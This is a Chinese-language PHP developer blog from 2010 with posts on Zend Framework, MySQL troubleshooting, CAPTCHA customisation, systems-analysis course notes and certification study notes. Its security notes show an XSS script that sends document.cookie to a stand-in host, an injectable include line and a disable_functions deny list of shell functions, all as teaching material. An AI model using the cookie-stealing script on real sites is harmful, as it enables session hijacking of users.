星期五, 12月 31, 2010

php process是否持續運作

當php在執行大量運算時,由於http的特性
所以要等到完成了,才會一次將結果印出

在process中,利用tick方式呼叫另一個fucntion
對於browser來說,過程中的輸出值在完成一次出現
不過如果透過程式(client)去連php的話,程式是可持續的接受到php flush的值
<php
 $nextWeek = time();
 $CheckInterval=5;
 
 declare(ticks=1);
 // A function called on each tick event
function tick_handler()
{
  if ( (time()-$nextWeek) >   $CheckInterval)
  {
       echo "R";
       $nextWeek = time();
  }
}

register_tick_function('tick_handler');

for($a=0;$a<10000000;$a++)
{
    ;
}
unregister_tick_function('tick_handler');

echo " done ";

星期二, 12月 28, 2010

Firefox 回報"伺服器要將此網址重新導向的要求無法完成"

最近發現這個錯誤

網路上有人提到將cookie清掉即可
我清了結果還是一樣

後來才發現 原來是程式邏輯上的問題
因為檢查未登入,則轉到另一個網址
不過那個網址也是由相同的程式檢查是否登入
所以又轉向同一個網址,造成deadlock

星期一, 12月 20, 2010

Can't connect to local MySQL server through socket '/var/lib/mysql/mysql.sock'

幾個會引起的問題

  • host位置空白
    連mysql時,如果host位置為空
    也會出現這個錯誤
  • 硬碟滿了
    今天開了aptana在寫程式,網頁似乎沒反應剛寫的東西
    說沒有,但偶爾又有東西反應,想說是不是有什麼東西卡住了
    重開機後,還是一樣,甚至寫的東西居然都存不起來
    存了,但再開會不見,想說從沒遇過這問題

    還在查問題時,發現db掛了
    問題是Can't connect to local MySQL server through socket '/var/lib/mysql/mysql.sock'
    上網查了一下... 試了一下
    不然依然沒解決, 試了好久,都還是失敗

    一問同事,同事也曾發生過,說是不是硬碟滿了
    df一下.. 嗯 還真的是咧.. 硬碟用量100%
    因為是用vm... 只切了8gb...
    才回想到上午傳了1g多的東西進vm
    難怪傳到一半 就一直說寫入失敗
    檔案刪一刪後 就ok了... 呼 幸好解決了


Reference
發生找不到 mysql.sock 的處理方法!

星期三, 12月 08, 2010

移除Zend網址中不專業的public路徑

由於zend建立的專案,會預設在www.test.com/public下
雖然因檔案歸類問題,需放在這個public資料夾
不過一直覺得很礙眼,但也沒想到辦法去改掉

這2天那該死的美工johnny又跑來說:「ㄟ~ 那個網址有public有點討厭ㄝ」
可惡~ 觸碰到我的痛處
今天盛怒之下 總算解決~~ 真開心

原本先查到Rob Allen的做法
要改路徑,還要在所有$this->baseUrl() 加上public/
改了一堆也還沒成功,就先看有沒有其他做法
很幸運地,看到比較簡單的方法 ~~ ya
只要做以下三件事就完成了
  1. Create /etc/httpd/conf.d/zfapp.conf
    Alias /zfapp /usr/share/zfapp/public
    <directory /usr/share/zfapp/public>
      AllowOverride All
      Order Deny,Allow
      Allow from all
    </directory>
  2. In /usr/share/zfapp create the structure
    -application
      bootstrap.php
      controllers
      views
      models
    -library
      Zend
    -public
      .htaccess //在public裡,新增.htacess
      index.php
  3. htaccess contains:
    RewriteEngine On
    RewriteBase /zfapp/
    RewriteRule !\.(js|ico|gif|jpg|png|css)$ index.php
注意事項
透過url讀取資料的方法,都會自動轉成正確的位置
也就是假設要讀取xx.jpg,位於真實路徑/zfapp/public/下
url為/zfapp/xx.jpg,即為自動轉成/zfapp/public/xx.jpg
但如果是php裡,要file相關函數讀檔的(ex.file_exists())的話
就得要加上public改成/zfapp/public/xx.jpg

Reference

星期四, 11月 25, 2010

Jira Soap API

如何close issue
指令有createIssue,但卻沒有close issue這指令
看了官網提的,應該是用progressWorkflowAction中的參數action將設為close
以下是官網的範例,用ruby寫的
# Close the issue with a resolution of "Fixed".
action = "2" # 2 = "Close". Note how this is actually a string, not an integer.
resolution_type = "1" # 1 = "Fixed". Also a string.
issue = soap.progressWorkflowAction(token, issue.key, action, [{ :id => "resolution", :values => resolution_type }])



Reference
  • Soap API
  • http://confluence.atlassian.com/display/JIRA/Remote+API+%28SOAP%29+Examples

星期三, 11月 17, 2010

Zend Captcha

  1. ASCII captcha (最簡單的用法)
    ex.

    $captcha = new Zend_Form_Element_Captcha( 'captcha', array(
      'label' => 'Please enter the 5 letters displayed below:',
      'name' => 'captcha', //回傳post欄位的名稱
      'required' => true,
      'captcha' => array('captcha' => 'Figlet', 'wordLen' => 5, 'timeout' => 300)
    ));
    echo captcha;

    判斷是否正確
    $captcha = $request->getPost('captcha');
    $captchaId = $captcha['id'];
    // And here's the user submitted word...
    $captchaInput = $captcha['input'];
    // We are accessing the session with the corresponding namespace
    // Try overwriting this, hah!
    $captchaSession = new Zend_Session_Namespace('Zend_Form_Captcha_'.$captchaId);
    // To access what's inside the session, we need the Iterator
    // So we get one...
    $captchaIterator = $captchaSession->getIterator();
    // And here's the correct word which is on the image...

    $captchaWord = $captchaIterator['word'] ;
    // Now just compare them...
    if ($captchaInput == $captchaWord)
    echo "valid";
    else
    echo "invalid";


  2. 圖文表示
    ex.

    注意事項
    • 要給ttf字型檔
    $this->view->captcha = new Zend_Form_Element_Captcha(
      'captcha', // This is the name of the input field
      array('label' => 'Write the chars to the field',
       'captcha' => array( // Here comes the magic...
       // First the type...
       'captcha' => 'Image',
       // Length of the word...
       'wordLen' => 4,
       // Captcha timeout, 5 mins
       'timeout' => 300,
       // What font to use...
       'font' => 'captcha/arial.ttf',
       // Where to put the image
       'imgDir' => 'captcha/tmp/',
       //<img src="?" > 的位置
       'imgUrl' => 'http://' . $this->_request->getHttpHost() . $this->_request->getBaseUrl() . '/captcha/tmp/'
       )
      )
    );
  3. 自定背景
    ex.

    注意事項
    由於預設會將底色用白,所以直接改圖沒用
    到/library/Zend/Captcha/Image.php改程式碼
    p.s. 因為機車johnny又在唸不喜歡彎彎的字及干擾的點及線,因此順便把扭曲的程式碼拿掉了

    不要點及線只要在建構子下...
    $captcha = new Zend_Form_Element_Captcha(
    'captcha', // This is the name of the input field
    array(
    ...
    'lineNoiseLevel' => 0,
    'dotNoiseLevel' => 0,
    ...
    )
    )
    );


    如果不要扭曲的字型,那就把_generateImage方法的內容改成以下程式碼
    protected function _generateImage($id, $word)
    {
      if (!extension_loaded("gd")) {
       require_once 'Zend/Captcha/Exception.php';
       throw new Zend_Captcha_Exception("Image CAPTCHA requires GD extension");
      }

      if (!function_exists("imagepng")) {
       require_once 'Zend/Captcha/Exception.php';
       throw new Zend_Captcha_Exception("Image CAPTCHA requires PNG support");
      }

      if (!function_exists("imageftbbox")) {
       require_once 'Zend/Captcha/Exception.php';
       throw new Zend_Captcha_Exception("Image CAPTCHA requires FT fonts support");
      }

      $font = $this->getFont();

      if (empty($font)) {
       require_once 'Zend/Captcha/Exception.php';
       throw new Zend_Captcha_Exception("Image CAPTCHA requires font");
      }

      $w = $this->getWidth();
      $h = $this->getHeight();
      $fsize = $this->getFontSize();

      $img_file = $this->getImgDir() . $id . $this->getSuffix();
      if(empty($this->_startImage)) {
       $img = imagecreatetruecolor($w, $h);
      } else {
       $img = imagecreatefrompng($this->_startImage);
       if(!$img) {
        require_once 'Zend/Captcha/Exception.php';
        throw new Zend_Captcha_Exception("Can not load start image");
       }
       $w = imagesx($img);
       $h = imagesy($img);
      }
      $text_color = imagecolorallocate($img, 255, 255, 255);
      //$bg_color = imagecolorallocate($img, 255, 255, 255);
      //imagefilledrectangle($img, 0, 0, $w-1, $h-1, $bg_color);
      $textbox = imageftbbox($fsize, 0, $font, $word);
      $x = ($w - ($textbox[2] - $textbox[0])) / 2;
      $y = ($h - ($textbox[7] - $textbox[1])) / 2;
      imagefttext($img, $fsize, 0, $x, $y, $text_color, $font, $word);
      imagepng($img, $img_file);
    }
  4. 自定captcha版面格式
    很機車的johnny不喜歡預設拆成兩行的樣子,硬要我併成一行
    只好硬著頭皮又去改原碼了
    有2個地方要改
    1.到fucntion render()
    public function render(Zend_View_Interface $view = null, $element = null)
    {
      return '<img alt="'.$this->getImgAlt().'" height="'.$this->getHeight().'" src="' . $this->getImgUrl() . $this->getId() . $this->getSuffix() . '" width="'.$this->getWidth().'" /><br>'; //將br拿掉
    }

    另外如果還要拿掉dt,dd等,則需要下個步驟

    2.到library/form/Element/Zend_Form_Element_Captcha.php 改function loadDefaultDecorators()

References
Zend Reference Guide - Captcha Operation
A Zend_Captcha example
Captcha problem
Zend_Form_Element_Captcha

星期日, 11月 14, 2010

系統分析設計與實作 Week 2 - Modeling By UML 三劍客

Modeling By UML 三劍客
  • Use Case Diagram
    由SA畫出使用者需求
  • Class Diagram
    由SD畫出結構圖
  • 物件合作圖
    方便Programmer實作
各代表不同view, 三大構面:需求、結構、實作

問題:已經足夠?
視專業,原則上已經符合大部份需求,最好還有table schema

系統是提供服務(API), 畫面(介面)及DB都不是系統

過去常用畫面捕抓需求
直覺,但不易找出user使用的目的,因為太多操縱細節,最常抓「欄位」、「企業規則」,但一開始其實不需要(先過濾細節),且使用者常不知自己所需,因此SA要能抓出「目的」(使用者使用系統的目的)
ex,付款時,要填「地址」(欄位,易變),目的在付款時,提供滿足需求的服務,但跟end user溝通,仍是一個溝通工具

前導工作
-訪談、會議記錄、畫面、錄音 以導出use case

use case model
  • Use Case Diagram => 聚焦在what, 而非how-to
    買咖啡及點餐各為一個use case,但結帳不是,因結帳非目的,而是點餐後的一項
  • Use Case Description 細節、互動

4.1 Web ATM
晶片金融卡視為一外部系統
因為密碼及交易計錄(約10筆)會存在金融卡,而金融卡會提供存取的API,因此算系統

寫好Use Case的好處
  • 好維護
  • 保持開發節奏順暢
*重覆的use case如何處理?
先當獨立,事後再依refactoring評估是否相關,再進行合併

2.3.1 系統範圍
抓價值高的=>交易
而非價值低的維護欄位

星期五, 11月 12, 2010

轉:螞蟻的故事

rob傳來的...還加了一句話「一開始是三隻小螞蟻」
還沒看內容時,還想不懂他在說什麼
看完內容就覺得似曾相識的樣子...

留下來,提醒自己
還可以學一下動物的英文...


Every day, a small ant arrives at work very early and starts work immediately.
每天,小螞蟻很早來上工,並且一來就開始做事。
She produces a lot was happy.
她的生產力很高,並且工作愉快。

The Chief, a lion,
was surprised to see that the ant was working without supervision.
身為老闆的獅子,非常驚奇螞蟻能自行工作而不須監督。

He thought if the ant can produce so much without supervision, wouldn’t she produce even more if she had a supervisor!
他認為在沒有監督下的螞蟻生產力是如此的好,如果有人監督的話她的生產力應該會更好才對!

So he recruited a cockroach
who had extensive experience as supervisor and who was famous for writing excellent reports.
因此他招募了有豐富經驗的蟑螂作為監督員,蟑螂以擅長撰寫優良報告而聞名。

The cockroach’s first decision was to set up a clocking in attendance system.
蟑螂的第一個決定是設立了打卡計時系統。

He also needed a secretary to help him write and type his reports and …
他也需要一個秘書幫助他繕寫和鍵入報告和……

... he recruited a spider, who managed the archives and monitored all phone calls.
他招募了蜘蛛,負責管理檔案和監管所有電話。

The lion was delighted with the cockroach's reports
and asked him to produce graphs to describe production rates and to analyse trends, so that he could use them for presentations at Board‘s meetings.
獅子對蟑螂的報告非常高興並要求他用圖表描述生產率和分析趨勢變化,因而他能在董事會上用這些資料來報告。

So the cockroach had to buy a new computer and a laser printer and ...
因此蟑螂必須買一臺新的電腦和雷射印表機和…

... recruited a fly
to manage the IT department.
.. 並招募蒼蠅來管理資訊部門。

The ant, who had once been so productive and relaxed, hated this new plethora of paperwork and meetings which used up most of her time…!
曾經是很有生產力和輕鬆的螞蟻,恨透了這些耗盡她大多數時間的過多文書作業和會議…!

The lion came to the conclusion that it was high time to nominate a person in charge of the department where the ant worked.
獅子做出結論這是提名螞蟻工作部門負責人的時候了。

The position was given to the cicada, whose first decision was to buy a carpet and an ergonomic chair for his office.
這個位置被賦予給了蟬,蟬的第一個決定是為他的辦公室買一張地毯和一把符合人體工學的椅子。

The new person in charge, the cicada, also needed a computer and a personal assistant, who he brought from his previous department, to help him prepare a Work and Budget Control Strategic Optimisation Plan …
新的人負責,蟬,也需要一部電腦和一位從他原先部門帶來的個人助理,來幫助他準備工作和預算控制策略優化計劃…

The Department where the ant works is now a sad place, where nobody laughs anymore and everybody has become upset...
螞蟻工作的部門現在是一個哀傷的地方,不再有人會笑,而且大家變得抓狂…

It was at that time that the cicada convinced the boss , the lion, of the absolute necessity to start a climatic study of the environment .
就是那時蟬說服獅子上司,強調要開始進行組織氣候調查的绝對必要性。

Having reviewed the charges for running the ant’s department , the lion found out that the production was much less than before.
在審查了螞蟻的部門運作費用後,獅子發現生產力比以前大幅減少。

So he recruited the owl , a prestigious and renowned consultant to carry out an audit and suggest solutions.
所以他招募了貓頭鷹,一位有名望和顯耀的顧問來執行稽核工作並建議解決之道。

The owl spent three months in the department and came up with an enormous report , in several volumes,
that concluded :
“ The department is overstaffed ...”
貓頭鷹在部門待了三個月並且產生了一份有數冊之多的巨大的報告,結論是:「部門成員人數過多…」

Guess who the lion fires first?
猜猜獅子首先解雇誰?

The ant , of course, because she
“showed lack of motivation and had a negative attitude".
當然,是螞蟻,因為她「顯現出缺乏做事的動機並且態度消極」。


The characters in this fable are fictitious; any resemblance to real people or facts within the Corporation is pure coincidence…
這個寓言裡的人物是虛擬的; 若與公司內部任何的人物或情事雷同係純屬巧合

星期四, 11月 11, 2010

引用google libraries

  1. Google Libraries API - Developer's Guide
    還挺多的

    Available Libraries
    Chrome Frame
    Dojo
    Ext Core
    jQuery
    jQuery UI
    MooTools
    Prototype
    script_aculo_us
    SWFObject
    Yahoo! User Interface Library (YUI)
    WebFont Loader

    用法也很簡單,像jquery就先到該文件下找"path",再放入src就好啦
    <!-- jquery -->
    <script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.4.3/jquery.min.js"></script>

    <!-- jquery ui -->
    <script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jqueryui/1.8.6/jquery-ui.min.js"></script>


  2. dynamically load jquery if 'jQuery' does not exist
    function initJQuery() {
       //if the jQuery object isn't available
       if (typeof(jQuery) == 'undefined') {
         if (typeof initJQuery.jQueryScriptOutputted == 'undefined') {
           //only output the script once..
           initJQuery.jQueryScriptOutputted = true;
           //output the script (load it from google api)
           document.write("");
         }   
         setTimeout("initJQuery()", 50);
       } else {
         (function($){ // CLOSURE -> save to use $
            $.fn.foo = function(input) {
            alert("foo:" + input) ;
          } ;
         })(jQuery) ;
       }

       window.onload = function() {
       $('body').foo("bar") ; // won't necessarily fire if jQuery loads after   document load
      }
    }
    initJQuery();

星期一, 11月 08, 2010

The Zend PHP Certification Practice Test Book

Ch1.PHP Programming Basics
  • PHP is a _____ scripting language based on the ____ engine. It is primarily used to
    develop dynamic _____ content, although it can be used to generate ____ documents
    (among others) as well.
    A.Dynamic, PHP, Database, HTML
    B.Embedded, Zend, HTML, XML
    C.Perl-based, PHP, Web, Static
    D.Embedded, Zend, Docbook, MySQL
    E.Zend-based, PHP, Image, HTML

    Result: B
    Looking at the answers, the only one that makes sense for every blank is B. PHP is a
    scripting language based on the Zend Engine that is usually embedded in HTML code. As
    such, it is primarily used to develop HTML documents, although it can be used just as nicely to develop other types of documents, such as XML.
  • 16.Under what circumstance is it impossible to assign a default value to a parameter while declaring a function?
    A.When the parameter is Boolean
    B.When the function is being declared as a member of a class
    C.When the parameter is being declared as passed by reference
    D.When the function contains only one parameter
    E.Never

    Answer:
    When a parameter is declared as being passed by reference you cannot specify a default
    value for it, since the interpreter will expect a variable that can be modified from within the
    function itself. Therefore, Answer C is correct.
  • 17.The ____ operator returns True if either of its operands can be evaluated as True, but not both.
    Answer: xor
    用法$result = ($A xor $B);
  • 19. Which of the following expressions multiply the value of the integer variable $a by 4?
    (Choose 2)
    $a *= pow (2, 2);
    $a >>= 2;
    $a <<= 2; $a += $a + $a; None of the above Result: A,C 嗯 是往左... 我怎麼會想成往右...



Ch2.
1,2,3,6,8,9,12,13,14,17,18

星期日, 11月 07, 2010

系統分析設計與實作 Week 1

如何分析系統(How)?從何分析,分析什麼?

聚焦重點,系統為提供服務,而服務是從需求而來,所以分析需求即為重點
ex. 咖啡廳的需求為何?
咖啡廳提供服務有
  • 餐點
  • 設備
組成咖啡廳的元素 (內部結構)

問:咖啡機也是組成元素,為何沒列入?
因為重點在Service,咖啡機有如framework(基礎建設),很重要,但不會自己做,將重點放在滿足需求,而不是自己再造輪子

三大構面
依使用者角度不同,分析出來的需求也不同

PG Skill

分析 (SA )
著重功能、需求
設計
內部結構元素
實作
Infrastructure
當三者有技術衝突時,靠Architect講合
PM 人、客戶的溝通、時程的掌握

Ch1. 軟體開發方法論(Methodology)
1.1.1 方法論的組成元素 - 溝通語言與開發流程(Process)
軟體開發會有PM,Architect, SA/D, Programmer組成的團隊,在一定的時程內、運用有麥的資源,來達成有效率的系統開發。如果做有效率的專案控管,「溝通」與「開發製程」即為影影專案成敗的最重要關鍵 。
  • 開發流程: Waterfall, RUP, XP, agile
    因project的性質、團隊素質不同,不可能適用每次的project
  • Notation: UML
    統一溝通的語言,讓PM,SA/D, Architect, Programmer有共同的語言
團隊開發成員之間可講相同的語言(UML),以利相互的溝通;但每個團隊要如何達成目標,則各有方法與程序(Process)來達成任務。程序是"How-to",每個團隊的"How-to"是不會完全一樣的。

1.1.2 什麼是有效的開發流程
軟體開發失敗原因,不外乎
  • 溝通的障礙
  • 無法處理需求的變更
  • 脆弱的架構
  • 難處理的複雜性(團隊合作造成的複雜 ex.維護別人的code)
  • 不一致的需求、設計和實作 (分析文件太多,不易維護)
  • 無法分析並克服風險 (讓風險儘早發現)
  • 無法建立標準化的測試環境

最佳實務
  • 以反覆式開發方式去開發軟體
    每個開發流程的目的都是期望在專案的四大變數:成本、品質、時程與規模達成一定的均衡
    但前三樣由客戶決定,能夠控制的只有「規模」,將規模分階段完成
  • 需求的變動管理
  • 以元件為基礎(Component-based)的架構
  • 用視覺化方式製作軟體模型(Visually Model Software)
  • 持續驗證軟體品質
1.1.3 軟體的變動無常
軟體系統的專案開發,特別的是,需求往往不明確,更何況是經常處於變動中,所以導
致專案的範圍與規模無法界定,連帶也引起時程無法估算。能做的只有將變動抑制收斂在某一程度可被控管的範圍
專案四大變數:成本、時程、品質與規模中,前兩樣都控制在客戶,能夠控制的只有「規模」=> 將規模分階段完成 ( I & I)

1.1.4 典型開發模式 - 瀑布式 (Waterfall)
因軟體「變動無常」,所以想要「凍結」,再開發出系統,如同建築工程,但軟體開發與建構大樓的差異在於瀑布式兩個基本假設點
  • 需求會固定不變
    • 更多的使用者
    • IKIWIS效應(I'll Know It When I See It)
      只有到實作完成,有了畫面,使用者才能知道他是否為他要的
    • 無法捕抓需求足夠的細節和精確度
  • 紙上談兵 - 從設計圖就可以導出正確的實作 (Implementation)
    軟體工程的基礎理論很薄弱而且缺乏瞭解,探索的方法也非常糙。直到實作時,發現設計有嚴重瑕疵,造成系統崩潰。
管理階層易接受「瀑布式」,因為每個階段都有「明確」、「標準」的產出,方便「監督」與「追蹤」

1.1.5 I&I(Iteration and Incremental)的開發模式
Iteration就是將整個專案生命周期,分成好幾個迷你專案,每個專案有自己的開發循環,包括分析、設計、實作與測試。
有多迷你?
以「使用案例(Use Case)」或「功能點(Functioinal Point)」為功能單位,大約一星期,最晚不超過兩個星期。每個功能單位,依複雜度切為2~5個Iteration,從第一固Iteration對框奇目標的建立,然後逐漸加入細節,從低精確度往高精確度,到最終完成定案的產出。
好處?開發時間會縮短?
其實沒有,因為重點在提早揭露風險(Risk),而儘早處理掉。開發人員可在一個Iteration看到具體成果,從中得到Feedback,隨時回頭修正,時間不會離得太遠,而不會等到整個系統完成了,使用者才說這不是我要的,或是架構要調整。
優點:
  • 提早降低風險
  • 較早能具有可視性(Visible)的進展(Progress)。
  • 較早能得到回饋,較可以得到使用者的保證(engagement)及適應性(adaptation)由此再精緻由此再精緻(refine)系統的設計,以更進一步契合使用者的需求。
  • 增加團隊的信心,並且可以一直持續學習。
  • 產品的整體品質較佳

系統分析設計與實作課程大綱

Iteration #1

課程階段目標:找捉系統功能需求,快速設計,立即產出程式碼 (先求有)
重點在做出來,著重抓需求
  1. 軟體開發方法論 - 開發流程與塑模
    • 開發模式介紹
    • 專案開發的工作流程
      • 各角色人員的工作執掌
      • 各階段的產出(artifacts)介紹
    • 軟體開發的最佳實務
    • 軟體塑模 - UML介紹
  2. 需求面的功能分析設計 - Modeling by UML 三劍客
    需求如何mapping到實作
  3. 物件導向觀念養成與應用- 觀念、模型與程式碼的三面表達
  4. 實做面 by Spring Framework
  5. 案例分析與實作

Iteration #2
課程階段目標:重構程式碼與類別結構,讓系統更有彈性 (不影響原功能下,改善系統)
  1. 軟體結構面的分析與設計
  2. 重構
  3. 案例分析與實作

整體開發流程總複習
  • 檢視兩個循環(Iteration)開發所各自產出的設計圖與程式碼
  • 回顧每一個流程開發階段的產出與所運用的設計、技術與技能
  • 學員課程中的問題提問與回答總整理

星期日, 10月 31, 2010

Zend PHP 5 Certification Study Guide 筆記 (五) Streams and Network Programming

A list of possible modes for fopen() using mode
mode Description
'r'
Open for reading only; place the file pointer at the
beginning of the file.
'r+'
Open for reading and writing; place the file pointer at
the beginning of the file.
'w'
Open for writing only; place the file pointer at the
beginning of the file and truncate the file to zero length.
If the file does not exist, attempt to create it.
'w+'
Open for reading and writing; place the file pointer at
the beginning of the file and truncate the file to zero
length. If the file does not exist, attempt to create it.
'a'
Open for writing only; place the file pointer at the end of
the file. If the file does not exist, attempt to create it.
'a+'
Open for reading and writing; place the file pointer at
the end of the file. If the file does not exist, attempt to
create it.
'x'
Create and open for writing only; place the file pointer at the
beginning of the file. If the file already exists, the
fopen() call will fail by returning FALSE and
generating an error of level E_WARNING. If
the file does not exist, attempt to create it. This is equivalent
to specifying O_EXCL|O_CREAT flags for the
underlying open(2) system call.
'x+'
Create and open for reading and writing; otherwise it has the
same behavior as 'x'.
'c'
Open the file for writing only. If the file does not exist, it is
created. If it exists, it is neither truncated (as opposed to
'w'), nor the call to this function fails (as is
the case with 'x'). The file pointer is
positioned on the beginning of the file. This may be useful if it's
desired to get an advisory lock (see flock())
before attempting to modify the file, as using
'w' could truncate the file before the lock
was obtained (if truncation is desired,
ftruncate() can be used after the lock is
requested).
'c+'
Open the file for reading and writing; otherwise it has the same
behavior as 'c'.

如果檔案不存在,用w,w+,a, and a+會自動建立新檔
如果檔案已存在,用x及x+會產生E_WARNING
fgets reads a line -- i.e. it will stop at a newline.  
fread reads raw data -- it will stop after a specified (or default) number of bytes, independantly of any newline that might or might not be present.

  • 指標
    $file = fopen(’counter.txt’, ’r+’);
    fseek($file, 10, SEEK_SET);
    • SEEK_SET - Set position equal to offset bytes.
    • SEEK_CUR - Set position to current location plus offset.
    • SEEK_END - Set position to end-of-file plus offset.
    範例
    <?php
    
    $fp = fopen('somefile.txt', 'r');
    
    // read some data
    $data = fgets($fp, 4096);
    
    // move back to the beginning of the file
    // same as rewind($fp);
    fseek($fp, 0);
    
    ?>
    
  • Simple File Functions
    • get data
      // Old Way
      $file = implode("\r\n", file("myfile.txt"));
      // New Way
      $file = file_get_contents("myfile.txt");
      
    • write data
      $data = "My Data";
      file_put_contents("myfile.txt", $data, FILE_APPEND);
      
      $data = array("More Data", "And More", "Even More");
      file_put_contents("myfile.txt", $data, FILE_APPEND);
      
  • Controlling File Access
    • is_dir()—Checks if the path is a directory
    • is_executable()—Checks if the path is executable
    • is_file()—Checks if the path exists and is a regular file 
    • is_link()—Checks if the path exists and is a symlink 
    • is_readable()—Checks if the path exists and is readable 
    • is_writable()—Checks if the path exists and is writable
    • is_uploaded_file()—Checks if the path is an uploaded file (sent via HTTP POST)

星期四, 10月 28, 2010

log查詢速度時間過長的query (slow log)

想要知道哪些指令,Query資料會過慢的方法:
自動記錄並log出這樣的資料可以在資料庫慢時幫助抓問題
設定檔=/etc/my.cnf

加入以下的資料到my.cnf內
log-slow-queries = /var/log/mysql/mysql-slow.log (記錄檔的位置可以自己改)
long_query_time = 1 (超過設定的秒數就記錄1代表一秒2代表兩秒)
log_long_format


注意寫入權限問題
如果沒看到記錄檔可以自己先在這個目錄下建立個空白的檔案
並設定可以寫入的權限,這樣才可以記錄到檔案



Reference
mysql_自動log哪些Query速度慢時間過長的指令

星期三, 10月 27, 2010

Zend PHP 5 Certification Study Guide 筆記 (四) Security

  • Concepts and Practices
    注意以下事件
    • All Input Is Tainted
      謹慎想像每個Input都被污染(Tainted),所以都要檢查
    • Whitelist vs. Blacklist Filtering
    • Filter Input
    • Escape Output
    • Register Globals
  • Website Security
    • Spoofed Forms
    • Cross-Site Scripting (XSS) 在送出的input中,直接加入script,攻擊者即可透過$_GET['cookies']得到cookie的內容
      <script>
        document.location = ''http://example.org/getcookies.php?cookies=''
        + document.cookie;
      </script>
    • Cross-Site Request Forgeries (CSRF)
      說明:在使用者登入的情況下,假造一個link夾帶get的指令(通常用img裡夾),
      ex: <img src="http://example.org/checkout.php?isbn=031234&qty=1" >
      讓使用者點選進而執行get的指令(例如修改資料等),因為是在使用者登入的情況下,所以指令會執行成功
      解決方法:get問題,雖可用post解決,但當server端利用$_REQUEST,則會遇到相同問題
      雖post仍算是減少傷害,但仍不能完全避免,要完全避免可利用random token
      在產生form時,在session記錄個token,另一方面在form埋個hidden存token
      如此一來即可比對
      <?php
        session_start();
        $token = md5(uniqid(rand(), TRUE));
        $_SESSION['token'] = $token;
      ?>
      
      //產生form
      <form action="checkout.php" method="POST">
        <input type="hidden" name="token" value="<?php echo  $token;?>" /?>
        <!-- Remainder of form -->
      </form>
      
      //request
      if (isset($_SESSION['token'])
        && isset($_POST[』token』])
        && $_POST['token'] == $_SESSION['token'])
      {
        // Token is valid, continue processing form data
      }
  • Database Security
  • Filesystem Security
    • Remote Code Injection
      說明:當php裡利用以下方法include檔案時,攻擊者只要改變section值即可插入攻擊碼
      include "{$_GET['section']}/data.inc.php";
      解決方法:限制可選的路徑
      $clean = array();
      $sections = array('home', 'news',  'photos', 'blog');
      if (in_array($_GET['section'], $sections))
           $clean['section'] = $_GET['section'];
      else
           $clean['section'] = 'home';
      
      include "{clean['section']}/data.inc.php";
    • Command Injection
      說明:由於php可以動態載入檔案,又提供exec(), system() and passthru()等,可以執行系統執令的強大函式,所以一但被攻擊,這下問題就大條了
      解決方法:適當的filtering及escaping要做好囉
  • Shared Hosting
    針對以下幾個設定限制,可以事先避開Filesystem Security,command injection的問題
    • open_basedir
      <virtualhost *>
        DocumentRoot /home/user/www
        ServerName www.example.org
        <Drectory home/user/www>
          php_admin_value open_basedir "/home/user/www/:/usr/local/lib/php/" //限制資料夾
        </Directory>
      </virtualhost>
    • disable_functions (php.ini)
      ;Disable functions
      disable_functions = exec,passthru,shell_exec,system
    • and disable_classes (php.ini)
      ;Disable classes
      disable_classes = DirectoryIterator,Directory
    透過php.ini的設定
Reference PHP Security Guide

星期三, 10月 20, 2010

Zend PHP 5 Certification Study Guide 筆記 (三) - Web Programming & OO

  1. Web Programming 
    • Managing File Uploads
      檔案上傳後,php會將上傳檔移到暫存的地方,如果沒有複製或搬移,將會存活到script結束為止 透過$_FILES可取得上傳檔的資訊
      nameThe original name of the file
      typeThe MIME type of the file provided by the browser
      sizeThe size (in bytes) of the file
      tmp_nameThe name of the file’s temporary location
      errorThe error code associated with this file. A value of UPLOAD_ERR_OK indicates a successful transfer, while any other
      error indicates that something went wrong (for example, the
      file was bigger than the maximum allowed size).
      由於直接存取上傳檔有安全性問題,所以最好先
      1. 檢查upload information為UPLOAD_ERR_OK
      2. 檢查檔案size not zero 及 tmp_name is not set to none.
      3. 存取檔案(2種方法)
        • is_uploaded_file(),檢查是否為上傳檔案,再進行複製 if (is_uploaded_file($_FILES['userfile']['tmp_name'])) {
             echo 
          "File "$_FILES['userfile']['name'] ." uploaded successfully.\n";
             echo 
          "Displaying contents\n";
             
          readfile($_FILES['userfile']['tmp_name']);
          } else {
             echo 
          "Possible file upload attack: ";
             echo 
          "filename '"$_FILES['userfile']['tmp_name'] . "'.";
          }
        • move_uploaded_file()直接搬移檔案
          $uploads_dir '/uploads';
          foreach (
          $_FILES["pictures"]["error"] as $key => $error) {
              if (
          $error == UPLOAD_ERR_OK) {
                  
          $tmp_name $_FILES["pictures"]["tmp_name"][$key];
                  
          $name $_FILES["pictures"]["name"][$key];
                  
          move_uploaded_file($tmp_name"$uploads_dir/$name");
              }
          }

    • Http Headers
      header在需在任何output前完成,否則會無效或出錯,除非有用buffer
      • Redirection
        redirect後,最好加個exit(),避免執行到後續的script
        header("Location: http://phparch.com"); exit();
        在送出form,如果回上一頁,會出現要"重送資訊",如果要避免,就可以透過redirect forward到正確頁
  2. OO

Zend_Session_Exception' with message 'session has already been started by session.auto-start or session_start()

在用了Zend_Auth後
某天莫名的出現這問題
Fatal error: Uncaught exception 'Zend_Session_Exception' with message 'session has already been started by session.auto-start or session_start()'...
也搞不懂發生了什麼事情
後來找到有人提出是因為php.ini的session.auto_start問題
//php.ini
session.auto_start = 1; //改為0即正常運作,當然記得要restart apache

在每個php有用到session的,就必須先執行 session_start()
在php.ini中的session.auto_start
如果為0,則須執行 session_start()
如果為1,則不須執行 session_start()
而Zend要有session的主控權,所以用Zend_Session(Zend_Auth會用到)時,要關掉auto start

不過還有人改了session.auto_start後 還是沒解決
查出是Directory權限的問題
自己是還沒遇過,不過先寫下來預防萬一
大致上的問題在application.ini裡設定resources.session.save_path
而該file需要該group有足夠的權限,而chmod 775 session即足夠

Reference
Zend_Session_Exception' with message 'session has already been started by session.auto-start or session_start()

星期四, 10月 14, 2010

Zend PHP 5 Certification Study Guide 筆記 (二)


Chapter 4 Strings And Patterns


String Basics
單引號用在"Simple strings" //almost all characters are used literally
雙引號用在"Complex strings" //alow for special escape sequences
Variable Interpolation
//單、雙引號差別
$who = "World";
echo "Hello $who\n"; // Shows "Hello World" for followd by new line
echo 'Hello $who\n'; // shows "Hello $who\n"

//無空格連接
$me = 'Davey';
echo "There cannot be more than tw {$me}s!"; //s緊連接在$me後

//array用法 - 利用braces
$names = array('Smith', 'Jones', 'Jackson');
echo "Citation: {$names[1]}";


The Heredoc Syntax
利用<<<關鍵字 可以接受一段string
